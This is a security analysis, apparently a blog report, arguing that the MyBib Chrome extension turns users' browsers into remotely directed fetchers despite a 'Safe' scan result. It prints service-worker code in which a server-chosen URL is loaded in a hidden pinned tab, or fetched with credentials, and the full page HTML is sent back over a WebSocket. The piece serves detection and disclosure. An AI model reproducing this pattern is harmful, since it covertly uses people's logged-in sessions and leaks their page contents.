CRXPlorer said “Safe.” The code told another story.

Same extension, very different conclusions

These scores use different methods and are not directly interchangeable. The important difference is the behavior each public report surfaces. CRXPlorer result accessed September 29, 2026.

What the extension actually does

1. Connects automatically. The background worker opens a WebSocket to MyBib without waiting for a citation request.
2. Accepts a URL and instructions. A server message selects the destination and can include an HTTP method, headers, data, or a request to use a browser tab.
3. Uses the customer's browser. It either makes the request directly or opens the URL in an inactive pinned tab using the normal browser profile.
4. Reads the result. For tab jobs, it injects packaged code that copies the page's complete HTML.
5. Sends the result back. The response or page HTML returns to MyBib over the WebSocket, and the temporary tab is removed.

The code behind the finding

This readability-formatted excerpt comes from service_worker.js. Whitespace was expanded and unrelated code was omitted; the destinations and operations are unchanged.

e.defaults.withCredentials = !0;
n = new WebSocket(`wss://ws.mybib.com/?v=${t}`);

n.onmessage = async function (t) {
  var r = JSON.parse(t.data);
  if (r.url) {
    if (r.useTab) {
      chrome.tabs.create({ active: !1, pinned: !0, url: r.url }, function (e) {
        o = setInterval(async function () {
          // polling and readiness checks omitted
          a = await chrome.scripting.executeScript({
            target: { tabId: e.id },
            injectImmediately: !0,
            func: d
          });

          n.send(JSON.stringify({
            id: r.id,
            response: { data: a[0].result, status: s[0]?.result ?? 500 }
          }));
          await chrome.tabs.remove(e.id);
        }, 50);
      });
    } else {
      try { t = await e(r) }
      catch (e) { t = e.response }
      if (t) n.send(JSON.stringify({ id: r.id, response: t }));
    }
  }
};

function d() {
  return document.documentElement.outerHTML
}

Why a conventional scan can miss it

• “No content scripts” is not the same as “does not read pages.” MyBib uses chrome.scripting.executeScript at runtime instead of declaring a static content script in the manifest.
• externally_connectable is the wrong boundary. That setting limits which websites may initiate messages to the extension. It does not restrict the extension's outbound WebSocket or the commands received through it.
• No remote eval() does not mean no remote control. The server sends URLs and request instructions rather than JavaScript. The extension's packaged code carries them out with powerful browser APIs.
• Permissions describe capability, not intent. The manifest tells us MyBib can access every site. Following the data flow shows how that access is actually used.

What MyBib discloses

The Chrome Web Store listing says MyBib may use otherwise unused bandwidth to crowdsource citation data. That is meaningful disclosure, and this analysis is not claiming the behavior is necessarily criminal or that MyBib steals raw passwords or cookie values.

But the client code does not check whether the browser is idle before accepting work. More importantly, “unused bandwidth” does not clearly explain that a remote server can choose URLs, use the customer's browser session and network position, and receive complete page contents.